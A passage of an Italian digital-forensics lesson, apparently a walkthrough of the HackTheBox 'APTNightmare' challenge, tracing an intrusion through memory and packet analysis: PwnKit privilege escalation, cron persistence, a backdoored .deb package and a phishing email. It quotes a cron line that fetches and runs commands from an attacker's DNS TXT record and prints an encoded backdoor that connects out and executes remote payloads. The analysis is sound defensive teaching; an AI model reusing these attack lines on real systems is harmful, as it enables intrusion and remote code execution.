APTNightmare – Parte II

In questa seconda parte della lezione di Forensic Analysis presso l’Università di Perugia, esploreremo il cuore di questo incubo digitale. Vedremo come un’organizzazione può cadere nel baratro, e analizzeremo, passo dopo passo, il percorso che conduce da un sistema perfettamente funzionante a un’infrastruttura compromessa, in cui nulla è più come prima.

APTNightmare riassume alla perfezione quello che un’azienda vive quando diventa bersaglio di un gruppo di cyber criminali determinati: un’escalation di eventi che sconvolge infrastrutture, processi e reputazione.

Bene, rispondete al telefono che squilla e disdite gli impegni, sarete ingaggiati per risolvere un grave Incidente Informatico!

Parte VII – Volatility

Dopo aver ottenuto una shell sul server come utente (probabilmente utente web standard, con privilegi limitati), l’attaccante quasi certamente avrà cercato di ottenere i privilegi di root sulla macchina. Questo passaggio è chiamato privilege escalation (escalation di privilegi). Ma quale Vulnerabilità ha utilizzato l’attaccante per ottenere tali permessi?

Per rispondere a questa domanda abbiamo due strade: la prima è continuare ad analizzare il file .pcap, la seconda è analizzare l’immagine della macchina compromessa ( Ubuntu_5.3.0-70-generic_profile.zip ) attraverso il tool volatility.

Volatility è uno strumento utilizzato nella Digital Forensics che permette di analizzare il contenuto della memoria RAM di un computer partendo da un dump, cioè da una copia della memoria effettuata durante un incidente informatico o un’attività investigativa.

Possiamo immaginare la memoria RAM come una fotografia precisa dello stato del sistema in un determinato istante: Volatility consente di esplorare questo “snapshot” per capire quali programmi erano in esecuzione, quali file erano aperti, o se c’erano connessioni sospette verso l’esterno.

Come prima cosa dobbiamo procedere con l’installazione del Tool Volatility.  

1.Cloniamo, quindi, il repository da github: 

git clone https://github.com/volatilityfoundation/volatility 

2. Spostiamoci nella directory del tool e procediamo con l’installazione 

cd volatility
sudo python2.7 setup.py install 

3. A questo punto avrete un’altra cartella di volatility dove è presente l’installazione, risaliamo quindi ancora di una cartella e copiamo il file all’interno dei plugins del tool. 

cd volatility
sudo cp /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Ubuntu_5.3.0-70-generic_profile.zip plugins/overlays/

4. Verifichiamo quindi che tutto funzioni correttamente tramite il comando 

python2.7 vol.py --info | grep -i Ubuntu 

[11_Volatility_Installations].png

Lanciamo infine il tool sull’immagine della macchina coinvolta nell’Incident.

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash

Parte VIII – Priviledge Escalation

Analizziamo il comando di volatility che abbiamo appena utilizzato.

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_bash

• python2.7 vol.py
  Avvia Volatility usando Python 2.7.

• –profile=LinuxUbuntu_5_3_0-70-generic_profilex64
  Specifica il profilo del sistema da cui è stato acquisito il dump della memoria. In questo caso si tratta di un sistema Ubuntu con kernel versione 5.3.0-70 su architettura a 64 bit. Il profilo contiene informazioni sul layout della memoria, essenziali per interpretare correttamente il dump.

• -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem
  Indica il percorso del file dump della memoria, che qui rappresenta la memoria del server web compromesso.

• linux_bash
  È il plugin di Volatility che estrae dalla memoria la cronologia dei comandi eseguiti nella shell Bash. Questo plugin scansiona il dump per individuare le informazioni relative allo storico della shell (comandi digitati, eventualmente con timestamp).

[12_Volatility_commands_run].png

Balza immediatamente all’attenzione l’utilizzo dello script Pwnkit > https://github.com/ly4k/PwnKit

PwnKit è un exploit che prende di mira una vulnerabilità presente nel comando Linux chiamato pkexec, parte integrante di Polkit. pkexec normalmente consente agli utenti di eseguire specifici comandi con permessi elevati, in maniera analoga a “sudo”. A causa di una gestione non corretta dei dati in input, pkexec può essere sfruttato per eseguire comandi arbitrari con i permessi dell’utente root.

Questa vulnerabilità è nota come CVE-2021-4034, esattamente la vulnerabilità che l’attaccante ha utilizzato per il Priviledge Escalation.

Parte IX – Persistance

Adesso che l’attaccante ha stabilito un foothold sull’infrastruttura deve assicurarsi di mantenere la persistenza all’interno.
Torniamo ad esaminare il nostro pcap. Abbiamo già stabilito che la connessione alla macchina dell’attaccante è avvenuta tramite la porta 5555. Proviamo quindi a filtrare il traffico della porta 5555 ed entriamo nel merito del flusso TCP.

tcp.port==5555

Troviamo infatti tutti i comandi che l’attaccante ha eseguito sulla macchina, una volta stabilita la connessione attraverso la Reverse Shell. Vediamo difatti l’ulteriore conferma che l’attaccante ha sfruttato la CVE-2021-4034 .

[14_CVE_sniffing_confirmation].png

Ciò che successivamente notiamo è che dopo essere diventato root, l’attaccante modifica qualcosa legato a cron. In particolare, Questa tecnica sfrutta il sistema di cron per eseguire periodicamente un comando malevolo, e al centro di questo processo c’è l’uso del comando dig. Vediamo nel dettaglio come funziona in maniera discorsiva:

* * * * * /bin/bash -c "bash -c $(dig linuxupdate.cd TXT +short @ns.linuxupdate.cd)"

Il file di crontab è stato modificato per includere una riga che esegue ogni minuto un comando. L’elemento cruciale di questo comando è la parte che usa dig:

In pratica, ogni minuto il sistema lancia un processo bash che, grazie all’espansione dei comandi (il meccanismo $( … )), esegue ciò che restituisce la chiamata a dig. Con il comando dig linuxupdate.cd TXT +short @ns.linuxupdate.cd il sistema effettua una query DNS per richiedere un record TXT al server specificato. In questo contesto, l’attaccante controlla il dominio linuxupdate.cd e il relativo server DNS, e può modificare dinamicamente il contenuto del record TXT. Ciò significa che l’attaccante può “iniettare” comandi da eseguire sul sistema compromesso semplicemente aggiornando il record TXT del suo dominio.

[15_conojob_persistance].png

Secondo MITRE ATT&CK, l’uso di attività pianificate (scheduled tasks) per mantenere l’accesso ricade nella categoria Persistence. Più precisamente, *l’abuso di cron job è catalogato come tecnica T1053.003 – Scheduled Task/Job: Cron​. Questo è l’ID specifico per l’uso di cron come meccanismo di persistenza. (La sintassi generale è T1053 per Scheduled Task/Job, e .003 indica l’abuso di cron).

Parte X – Supply-Chain

Continuando ad analizzare il flusso delle operazioni dell’attaccante, notiamo che entra nella folder /sites-available 

cd sites-available 

e legge il file  

cat 000-default.conf 

Al cui interno compaiono i vari Virtual Host

<VirtualHost *:80>

Fra questi VirtualHosts ne esiste uno chiamato download.cs-corp.cd

[18_Virtual_Hosts_Path].png

Che punta ad una directory interna /var/www/html/download

Il sottodominio download.cs-corp.cd probabilmente ospitava software o aggiornamenti da scaricare per i clienti. L’attaccante, avendo il controllo del server, ha alterato questi file (sostituendoli con versioni malevole).

Questo tipo di attacco è noto come supply-chain compromise – compromissione della catena di fornitura software – perché l’attaccante infetta non direttamente le vittime finali, ma il software legittimo che esse scaricano dall’azienda, trasformandolo in veicolo d’infezione.

[19_SP_Attack].png

Nella matrice MITRE ATT&CK, la Compromissione della catena di distribuzione software è codificata come tecnica T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain​.

Parte XI – Supply-Chain Persistance

Quindi sappiamo che l’attaccante ha sostituito del software lecito con uno malevolo.

Proviamo ad analizzare adesso quale manipolazione è stata fatta per injectare il meccanismo di persistenza, probabilmente uno script o comando eseguito nel momento dell’installazione: una backdoor.

Per prima cosa dobbiamo filtrare le richieste in WireShark al fine di scaricare il pacchetto: cs-linux.deb

Filtriamo il traffico isolando quello che coinvolge il pacchetto da analizzare:

http.request.uri contains "cs-linux.deb"

Clicchiamo su

File > Export Objects > HTTP

[20_download_cs-linux].png

Nel menù di ricercar su “Text Filter”, filtriamo per il nome del file, e poi clicchiamo su “Save” per scaricarlo.

[21_save_cs-linux].png

Cerchiamo prima di tutto di capire che cosa è questo file, utilizzando il comando file.
file cs-linux.deb

[22_file_type].png

I pacchetti .deb sono dei file di archivio compressi che contengono tutto il necessario per installare un’applicazione o un software su sistemi Linux basati su Debian (come Debian stesso, Ubuntu, Linux Mint, ecc.). In pratica, ogni pacchetto .deb include i file binari precompilati, le librerie, i file di configurazione e gli script di installazione necessari, insieme a metadati (informazioni sulla versione, dipendenze, ecc.).

Questi pacchetti vengono gestiti da strumenti come dpkg e apt, che facilitano l’installazione, l’aggiornamento e la rimozione dei software, mantenendo anche il controllo sulle dipendenze tra le diverse applicazioni.

Visualizziamo adesso il contenuto di questo pacchetto:

dpkg -c cs-linux.deb

[23_contenuto_file].png

Estraiamone il contenuto, mediante il comando:

dpkg-deb -x cs-linux.deb ./cs-linux.deb-estratto

Visualizziamo il contenuto del file tramite cat

cat cs-linux.deb-estratto/usr/bin/cs-linux

[24_SC_backdoor].png

Decodifichiamo il codice in base64 ridirigendo l’output, su di un file che chiameremo: cs-decoded

echo "eJw9UN9LwzAQfl7+irCHNcEsrqMbOmxBxAcRGTjfRKRNT1uaJiWXaqfo325Dh/dwx3f33Xc/6razzlO0qgEvvnRdiCJH2CYCveuVF75uQVgkxKLEI3po2RxUZanCpa5NP9DFgmYZ/T2XY2Pl1JyTN+voQGtDXW7egcUrviMz746jn2E6zZJTYGtxwof9zf3r4enx9vqBB55U1hhQnrEovlzLeHshY7mJRDIaD4zCQd6QGQwKOh+kw6oSNUDHNpzodLpA9qbLVcOi7C4SKB2oDzYKPK9eSJmesObks6o1UA2GlfxKj3Ll2X91OaU5gQEUC0+SJSjbdg4Q2fQvWWyTkCwhMMV3hNEOfzj5Axx7baM=" | base64 -d > cs-decoded

Che risulta essere con file compresso zlib.

[25_backdoor_decoding].png

A questo punto leggiamone il contenuto utilizziamo Python per leggere i dati dal file “s-decoded”: decomprimendoli usando il modulo zlib e successivamente scrivendo l’output nel file “output_file”.

python3 -c "import sys, zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" < cs-decoded > output_file

cat output_file

[26_backdoor_inclear].png

Abbiamo la backdoor! Vediamo quindi come funziona:

Inizialmente, esegue il comando:

os.system("echo cs-linux && >> ~/.bashrc")

in modo da aggiungere la stringa “cs-linux” al file di configurazione .bashrc. Così, ogni volta che viene aperta una nuova sessione bash, il comando viene eseguito automaticamente, garantendo la persistenza della backdoor.

Connessione al server dell’attaccante:

La backdoor tenta di stabilire una connessione TCP con l’IP 192.168.1.5 sulla porta 4444. Se la connessione fallisce, aspetta 5 secondi e riprova, fino a un massimo di 10 tentativi. In questo modo, il sistema resta in attesa e continua a cercare un canale per comunicare col server remoto.

Ricezione e preparazione del payload:

Una volta stabilita la connessione, il programma riceve inizialmente 4 byte che, grazie a struct.unpack, indicano la lunghezza del payload da ricevere. Successivamente, scarica l’intero payload, assicurandosi di ricevere tutti i byte.

Esecuzione del codice remoto:

Il payload ricevuto è codificato in Base64 e compresso con zlib. Il comando:

exec(zlib.decompress(base64.b64decode(d)), {'s': s})

decodifica e decomprime il payload, ed infine lo esegue. Questo permette all’attaccante di inviare codice arbitrario al sistema compromesso, espandendo o modificando le funzionalità della backdoor.

Parte XII – Mail Server

Dopo essersi assicurato la permanenza sulla macchina e con la supplychain compromessa, l’attaccante adesso può puntare a riscuote il bottino.

Utilizziamo ancora una volta il tool volatility, stessa sintassi vista in precedenza ma richiamando un plugin diverso linux_pslist

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_pslist

Uno dei primi interrogativi quando si analizza un dump in memoria è: “Quali programmi erano in esecuzione su questa macchina al momento della cattura?”
Il plugin linux_pslist serve esattamente a rispondere a questa domanda. È come se avessimo fotografato il “Task Manager” nel preciso istante dell’incidente.

linux_pslist scorre le strutture interne del kernel (le famose task_struct) e ricostruisce la lista completa dei processi che erano vivi in quel momento.

Il risultato è molto simile a ciò che vedresti con il comando ps se potessi ancora digitare sulla macchina, solo che ora lo ottieni a posteriori, da un’immagine di memoria.

Uno dei processi “vivi” in memoria era difatti citserver

[27_Mail_Server_Process].png

citserver è il demone principale di Citadel, una suite open-source che integra server di posta (SMTP, IMAP, POP3) e funzioni groupware (agenda, contatti, chat, ecc.). Difatti l’attaccante, dopo aver preso il controllo del server, ha trovato citserver già in esecuzione: significa che quella macchina fungeva anche da mail-server aziendale.

Parte XIII – Phishing

Quindi l’attaccante potrebbe aver sfruttato questa macchina per inviare una mail di phishing nel tentativo di ingannare la/le vittime. Addentriamoci quindi nel processo di citserver.

Sappiamo dall’analisi precedente che i PID del processo sono 542 e 545, quindi ancora una volta il tool volatility ci viene in aiuto, tramite il plugin linux_lsoft.

Il Plugin serve ad ottenere l’elenco completo di tutto ciò che ogni processo ha “in mano” in quel momento: file su disco, socket di rete, pipe, device, librerie, ecc.
Quindi utilizziamolo per analizzare i due processi nel dettaglio:

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof -p 542

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_lsof -p 545

Il processo di citserver con il PID 545 stava utilizzando vari file e processi fra cui un file di log : /var/lib/citadel/data/log.0000000001

[28_Server_Process_log].png

Analizziamo quindi il file di log del server una volta estratto, per estrarlo utilizziamo un altro plugin linux_find_file. Il plugin percorre le strutture del file-system in RAM (inode, dentry, page cache) e, se il file è ancora presente in cache, ne recupera i contenuti anche se sul disco fosse stato cancellato o sovrascritto.

Individuiamo prima la locazione di memoria dove il file è presente:

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file -F /var/lib/citadel/data/log.0000000001

[29_Server_memory_log].png

Successivamente estrapoliamo il file utilizzando il seguente comando:

python2.7 vol.py --profile=LinuxUbuntu_5_3_0-70-generic_profilex64 -f /home/an0mal1/HTB/APTNightmare/APTN1ghtm4r3/Memory_WebServer.mem linux_find_file -i 0xffff9fa43f20d628 -O log.0000000001

[30_Save_memory_log].png

il plugin rimane invariato, cambiano le opzioni:

-i: Indica l’inode address (il puntatore in memoria alla struttura inode) del file che vogliamo estrarre. Questo valore lo abbiamo ottenuto in precedenza, eseguendo linux_find_file -F /var/lib/citadel/data/log.0000000001, che ci ha mostrato dove risiede quell’inode in RAM.

-O: indica il file di output dove vogliamo scrivere il contenuto.

Analizzando il contenuto del file appena salvato, tramite comando cat , possiamo leggedere diversi messeggi. Fra questi ne esiste uno diretto al CEO dove gli viene chiesto di revisionare il documento delle Policy In Allegato.

Il Soggetto della mail è: Review Revised Privacy Policy con in allegato un documento contente delle macro policy.docm: la nostra mail di phishing.